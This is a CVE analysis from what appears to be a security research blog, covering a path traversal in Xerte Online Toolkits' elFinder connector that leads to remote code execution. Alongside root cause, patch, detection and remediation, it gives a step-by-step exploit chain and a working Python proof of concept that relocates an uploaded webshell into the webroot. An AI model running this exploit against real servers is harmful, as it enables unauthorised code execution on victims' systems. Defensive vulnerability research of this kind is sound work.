home intel cve-2026-34414-xerte-elfinder-path-traversal-rce
CVE Analysis 2026-04-22 · 8 min read

CVE-2026-34414: Xerte elFinder Connector Path Traversal to RCE

Xerte Online Toolkits ≤3.15 exposes an unsanitized rename endpoint in its elFinder connector, allowing authenticated attackers to relocate arbitrary PHP files into the webroot for unauthenticated RCE.

#path-traversal#directory-traversal#file-operations#remote-code-execution#cross-site-scripting
Technical mode — for security professionals
▶ Attack flow — CVE-2026-34414 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-34414Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-34414 is a relative path traversal vulnerability in Xerte Online Toolkits versions 3.15 and earlier. The elFinder file manager connector endpoint at /editor/elfinder/php/connector.php accepts a name parameter in rename commands without stripping or canonicalizing path traversal sequences. An authenticated attacker can supply a crafted name value such as ../../webroot/shell.php to relocate a PHP file from a project media directory into an arbitrary filesystem location — including the application root — enabling stored XSS, application file overwrite, or unauthenticated remote code execution.

CVSS 7.1 (HIGH). No known in-the-wild exploitation at time of publication. Exploitation requires a valid Xerte session but imposes no further privilege constraints.

Affected Component

The vulnerable surface is the elFinder 2.x connector bridge bundled with Xerte:


Path:    /editor/elfinder/php/connector.php
Method:  POST
Params:  cmd=rename, target=, name=
Auth:    Session cookie required (any authenticated Xerte user)
Roots:   Configured to serve per-project /work//media/ directories

elFinder's connector architecture maps an opaque target hash to a real filesystem path via its volume driver, then delegates the rename to the driver's rename() method. The driver constructs the destination path by concatenating the parent directory of the target with the raw name value — no canonicalization applied.

Root Cause Analysis

Root cause: The elFinder elFinderVolumeLocalFileSystem::rename() method concatenates the attacker-supplied name parameter directly onto the resolved parent path without stripping ../ sequences or verifying the result remains within the configured volume root.

The connector dispatches to the volume driver's rename implementation. Tracing through the bundled elFinder source:


// connector.php — command dispatch (simplified pseudocode)
$cmd  = $_POST['cmd'];    // "rename"
$name = $_POST['name'];   // ATTACKER CONTROLLED — e.g. "../../shell.php"
$hash = $_POST['target']; // elFinder volume hash of source file

// elFinderVolumeDriver::rename() — elFinder 2.x
protected function rename($hash, $name) {
    $src  = $this->decode($hash);          // resolves to real path
    $dir  = $this->dirName($src);          // parent directory of source
    $dst  = $dir . DIRECTORY_SEPARATOR . $name;  // BUG: raw concatenation, no normalization

    // BUG: inpath() check is skipped or bypassable when $name contains ../
    // The realpath() of $dst escapes $this->root entirely
    if (!$this->copy($src, $dst, false)) {
        return $this->setError(self::ERROR_RENAME, $this->path($hash));
    }
    $this->remove($src);
    return $this->stat($dst);
}

The inpath() guard that should enforce volume-root confinement operates on the pre-resolution $dst string. Because realpath() is not called before the containment check, a name value of ../../../var/www/html/xerte/shell.php passes the string comparison while the filesystem operation lands outside the volume root.

The full traversal depth depends on the depth of the per-project media directory. A typical Xerte layout puts project media at depth 4 from the webroot:


/var/www/html/xerte/
├── work/
│   └── 1234/
│       └── media/        <-- elFinder volume root (depth 4)
│           └── evil.php  <-- source file (attacker-uploaded)
├── connector.php
└── shell.php             <-- destination after 4x "../"

So name=../../../../shell.php resolves the destination to /var/www/html/xerte/shell.php.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Authenticate to Xerte as any valid user (student, author, or admin role).

2. Create or open an existing project. Note the project ID (e.g., 1234).
   The project media directory becomes the elFinder volume root:
   /var/www/html/xerte/work/1234/media/

3. Upload a PHP webshell via the normal Xerte media uploader:
   POST /editor/elfinder/php/connector.php
     cmd=upload, target=
   File: evil.php  (content: )
   → Server stores file at work/1234/media/evil.php

4. Obtain the elFinder hash for evil.php by listing the directory:
   POST /editor/elfinder/php/connector.php
     cmd=ls, target=
   → Parse JSON response, extract hash for "evil.php" (e.g., "l1_ZXZpbC5waHA")

5. Issue the traversal rename:
   POST /editor/elfinder/php/connector.php
     cmd=rename
     target=l1_ZXZpbC5waHA
     name=../../../../shell.php
   → Server calls rename(), concatenates parent + name, moves file to webroot

6. Verify placement:
   GET /xerte/shell.php?c=id
   → uid=33(www-data) gid=33(www-data) groups=33(www-data)

7. Shell is now unauthenticated — no session required for subsequent access.

A minimal Python PoC for steps 4–5:


import requests

TARGET   = "http://victim.example.com/xerte"
SESSION  = {"PHPSESSID": "YOUR_SESSION_COOKIE_HERE"}
CONNECTOR = f"{TARGET}/editor/elfinder/php/connector.php"

# Step 1: Get hash for uploaded evil.php
r = requests.post(CONNECTOR, cookies=SESSION, data={
    "cmd": "ls",
    "target": "l1_"   # volume root hash — enumerate from open() call
})
files = r.json().get("list", {})
evil_hash = next(h for h, name in files.items() if name == "evil.php")
print(f"[*] evil.php hash: {evil_hash}")

# Step 2: Traverse rename to webroot
r = requests.post(CONNECTOR, cookies=SESSION, data={
    "cmd":    "rename",
    "target": evil_hash,
    "name":   "../../../../shell.php"   # adjust depth to match install
})
print(f"[*] rename response: {r.json()}")

# Step 3: Trigger
r = requests.get(f"{TARGET}/shell.php", params={"c": "id"})
print(f"[+] RCE: {r.text.strip()}")

Memory Layout

This is a logic/path-traversal vulnerability rather than a memory corruption bug; there is no heap state to diagram. The relevant "state" is the filesystem path resolution:


FILESYSTEM STATE — BEFORE RENAME:
  elFinder volume root:   /var/www/html/xerte/work/1234/media/
  Source file:            /var/www/html/xerte/work/1234/media/evil.php
  $dir (parent of src):   /var/www/html/xerte/work/1234/media
  $name (from POST):      ../../../../shell.php
  $dst (concatenated):    /var/www/html/xerte/work/1234/media/../../../../shell.php
  realpath($dst):         /var/www/html/xerte/shell.php   ← OUTSIDE ROOT

CONTAINMENT CHECK (broken):
  $this->root:            /var/www/html/xerte/work/1234/media
  strpos($dst, $root):    0  ← check operates on pre-realpath string
  Result:                 CHECK PASSES (string prefix matches before ../ resolution)

FILESYSTEM STATE — AFTER RENAME:
  /var/www/html/xerte/work/1234/media/evil.php   → DELETED
  /var/www/html/xerte/shell.php                  → CREATED (world-accessible)

Patch Analysis

The correct fix requires resolving both the destination path and the volume root to their canonical forms before performing any containment check.


// BEFORE (vulnerable — elFinder connector bundled with Xerte ≤3.15):
protected function rename($hash, $name) {
    $src = $this->decode($hash);
    $dir = $this->dirName($src);
    $dst = $dir . DIRECTORY_SEPARATOR . $name;  // raw concat, no normalization

    // inpath() does string prefix match on unresolved path — bypassable
    if (!$this->inpath($dst, $this->root)) {
        return $this->setError(self::ERROR_ACCESS_DENIED);
    }
    // proceeds to rename $src -> $dst on filesystem
    rename($src, $dst);
}

// AFTER (patched):
protected function rename($hash, $name) {
    // Reject traversal sequences in name component directly
    if (strpos($name, '/') !== false ||
        strpos($name, '\\') !== false ||
        $name === '..' || $name === '.') {
        return $this->setError(self::ERROR_INVALID_NAME);
    }

    $src     = $this->decode($hash);
    $dir     = $this->dirName($src);
    $dst     = $dir . DIRECTORY_SEPARATOR . $name;
    $dstReal = realpath(dirname($dst)) . DIRECTORY_SEPARATOR . basename($dst);

    // Containment check on canonicalized path
    if (!$this->inpath($dstReal, realpath($this->root))) {
        return $this->setError(self::ERROR_ACCESS_DENIED);
    }
    rename($src, $dstReal);
}

Two independent defenses are applied: (1) reject any name value containing a path separator or dot-segment at the input validation layer, and (2) canonicalize the full destination path via realpath() before the containment check. Either alone is sufficient; both together provide defense-in-depth.

Detection and Indicators

Look for POST requests to connector.php where the name parameter contains ../ sequences:


# Apache/Nginx access log signatures
POST /editor/elfinder/php/connector.php  [name contains "%2e%2e" or ".."]

# grep pattern
grep -E 'connector\.php.*name=(\.\.|%2e%2e|%252e)' /var/log/apache2/access.log

# Resulting artifact — unexpected PHP files in webroot or parent directories
find /var/www/html/xerte -maxdepth 1 -name "*.php" \
  ! -name "index.php" ! -name "connector.php" -newer /var/www/html/xerte/index.php

# PHP-FPM / error logs — look for execution of files outside work/
grep 'work/' /var/log/php*.log | grep -v 'work/[0-9]*/media'

Web application firewalls should alert on ../, %2e%2e%2f, and %252e%252e in the name POST parameter to this endpoint specifically. Note that URL-encoding variants may bypass naive pattern matching — normalize before matching.

Remediation

Immediate: Update to Xerte Online Toolkits 3.16 or later when the vendor patch ships. If patching is not immediately possible:

  • Restrict access to /editor/elfinder/php/connector.php at the web server layer to trusted IP ranges only, or disable the endpoint entirely if elFinder is not required.
  • Deploy a WAF rule rejecting POST bodies to connector.php where name matches (\.\./|\.\.\\|%2e%2e) after URL decoding.
  • Audit /var/www/html/xerte/ (and parent webroot directories) for unexpected .php files created after the Xerte installation date.
  • If your Xerte deployment uses PHP-FPM with open_basedir, confirm the restriction is set to the webroot and not a parent directory — this will prevent the rename() call from crossing the boundary even if connector.php is reached.

Long-term: Organizations embedding third-party file manager components (elFinder, FilePond, etc.) should treat any name or path parameter as untrusted and enforce path canonicalization + containment checks at the application layer, independent of whatever the embedded library does internally.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →